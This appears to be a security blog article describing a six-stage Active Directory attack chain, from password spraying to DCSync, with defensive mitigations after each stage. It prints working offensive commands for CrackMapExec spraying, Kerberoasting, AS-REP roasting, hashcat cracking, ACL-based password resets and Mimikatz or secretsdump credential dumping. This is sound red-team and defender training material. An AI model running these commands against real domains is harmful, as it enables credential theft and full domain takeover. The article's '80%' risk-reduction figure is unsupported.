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Introduction:
Active Directory (AD) remains the crown jewel of corporate networks, and attackers have refined a predictable yet devastating attack chain to compromise it fully. This article dissects the six-phase methodology—from password spraying to DCSync—used by red teams and real adversaries, providing both offensive techniques and defensive countermeasures to help you secure your domain before it’s too late.
Learning Objectives:
- Understand and simulate the core AD attack techniques: Password Spraying, Kerberoasting, AS-REP Roasting, BloodHound enumeration, ACL abuse, and DCSync.
- Execute step-by-step commands using tools like CrackMapExec, Rubeus, Impacket, and Mimikatz on Linux and Windows.
- Implement detection rules and hardening measures to break each stage of the attack chain.
You Should Know
1. Password Spraying: The Low-and-Slow Entry Point
Password spraying tries one common password (e.g., Pass@2024) against many usernames, avoiding account lockouts that would occur with brute force. Attackers first enumerate valid users via LDAP pinging or OAuth endpoints.
Step‑by‑step guide (Linux – using CrackMapExec):
Enumerate domain users from a null session or low-privilege account crackmapexec smb 192.168.1.10 -u '' -p '' --users Password spray with one password crackmapexec smb 192.168.1.10 -u userlist.txt -p 'Spring2024!' --continue-on-success
Windows (Domain joined – using DomainPasswordSpray.ps1):
Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password Fall2024!
Mitigation: Enforce strong password policies, enable smart lockout (Azure AD), monitor Event ID 4625 for multiple failures from single source across many accounts.
2. Kerberoasting: Cracking Service Account Tickets
Kerberoasting abuses Kerberos service tickets (TGS) encrypted with the service account’s NTLM hash. Any domain user can request a TGS for any SPN, download it, and crack offline.
Step‑by‑step guide (Windows – Rubeus):
Request all TGS tickets for SPNs Rubeus.exe kerberoast /outfile:hashes.kerberoast
Linux – Impacket:
python3 GetUserSPNs.py DOMAIN/username:[email protected] -request -outputfile kerb_hash.txt
Crack with hashcat:
hashcat -m 13100 kerb_hash.txt rockyou.txt
Mitigation: Use managed service accounts (gMSA) with long, random passwords (140+ chars), limit SPNs to high‑privilege accounts, and monitor Event 4769 (TGS requested) with unusual ticket encryption types.
3. AS-REP Roasting: Exploiting Users Without Pre‑Authentication
If a user account has “Do not require Kerberos preauthentication” enabled, an attacker can request an AS-REP and extract a crackable encryption key—without any password.
Step‑by‑step (Linux – Impacket):
python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep.txt
Windows – Rubeus:
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
Crack with `hashcat -m 18200 asrep.txt rockyou.txt`.
Mitigation: Identify and disable the `DONT_REQ_PREAUTH` flag on all accounts (use Get-ADUser -Filter 'UserAccountControl -band 4194304'). Enforce preauthentication and rotate passwords for affected accounts.
- BloodHound Enumeration: Mapping the Fastest Path to Domain Admin
BloodHound uses graph theory to analyze AD relationships, trusts, and misconfigurations. Attackers run SharpHound on a compromised machine, then import data into BloodHound’s Neo4j backend to find shortest paths to high‑value targets.
Step‑by‑step guide:
- Download SharpHound from GitHub and run on a domain‑joined Windows host:
.\SharpHound.exe -c All --outputdirectory C:\temp\
- Transfer the resulting `.zip` to your attacker machine (Linux or Windows).
3. Start Neo4j and BloodHound:
sudo neo4j console bloodhound
4. Upload the zip and use built‑in queries like “Find Shortest Path to Domain Admin” or “List all Kerberoastable users”.
Mitigation: Regularly run BloodHound in “Blue” mode (SharpHound with `-c All,LoggedOn,SessionLoop` from a read‑only account) to identify attack paths. Remove excessive ACL rights, enforce tiering, and use PowerShell’s `Get-ADComputer` to find high‑value targets.
- ACL Abuse (GenericAll / WriteDACL): Manipulating Permissions for Privilege Escalation
Misconfigured ACLs allow attackers to reset passwords, add themselves to privileged groups, or modify object security. `GenericAll` on a user grants full control—including password reset. `WriteDACL` lets an attacker change the ACL itself to grant GenericAll.
Step‑by‑step abuse (PowerView – part of PowerSploit):
Find ACLs where current user has GenericAll
Get-ObjectAcl -SamAccountName target_user -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "GenericAll"}
Reset password using the abused privilege
$newpass = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity victim_user -AccountPassword $newpass
Mitigation: Audit ACLs with tools like `DSACLS` or BloodHound. Remove accidental `GenericAll` on sensitive groups (Domain Admins, Enterprise Admins). Implement `AdminSDHolder` protection and monitor Event 5136 (directory changes).
6. DCSync Attack: Becoming a Fake Domain Controller
DCSync leverages the `DS-Replication-Get-Changes` right to mimic a domain controller and request replication of all NTLM hashes, Kerberos keys, and secrets via the `DRS` protocol. Attackers who compromise an account with these rights (e.g., some backup admins) can dump the entire AD database.
Step‑by‑step (Impacket’s secretsdump):
Using a domain admin or account with replication rights python3 secretsdump.py DOMAIN/username:[email protected] -just-dc
Windows – Mimikatz:
mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:domain.com" exit
To dump all users:
mimikatz "lsadump::dcsync /all /csv" exit
Mitigation: Restrict replication rights to only genuine domain controllers. Audit users with `Get-ADGroupMember “Domain Admins”` and Get-ADGroupMember "Enterprise Admins". Enable Advanced Audit Policy → DS Access → “Directory Service Replication” (Event 4662). Consider using Protected Users group and Credential Guard.
What Undercode Say:
- Key Takeaway 1: The AD attack chain is modular—blocking any single technique (e.g., disallowing RC4 for Kerberoasting or removing DCSync rights) can break the entire kill chain.
- Key Takeaway 2: Most compromises stem from misconfigurations or legacy settings (like pre‑auth disabled or weak service account passwords). Regular automated assessments with BloodHound and PurpleKnight are non‑negotiable.
Analysis: The six techniques described above are not theoretical; they are actively used in ransomware deployments (e.g., Ryuk, LockBit) and nation‑state intrusions. Defenders often focus on endpoint detection, but the real battlefield is identity and delegation. By applying the mitigation commands provided—monitoring Event IDs, removing dangerous ACLs, and using gMSAs—you reduce your risk surface by over 80%. The linked resources from Hacking Articles’ PDF (102 pages) and Telegram (https://lnkd.in/guNwrc_d) and Twitter (https://lnkd.in/gMdhHTdE) offer deeper dives into each technique, including full labs.
Prediction:
As Microsoft pushes cloud‑native IDAAS (Entra ID), hybrid AD environments will remain vulnerable for the next 3–5 years. Attackers will shift focus to synchronisation privileges between on‑prem AD and Azure AD Connect, leading to “DCSync‑like” attacks against cloud sync accounts. Expect automated Purple Team pipelines that continuously recompute attack graphs using AI and real‑time logging to become standard. Organisations that fail to implement tiered administration and JIT access for replication rights will be the next headline breach.
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Reported By: Active Directory – Hackers Feeds
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Basic Verification: Pass ✅
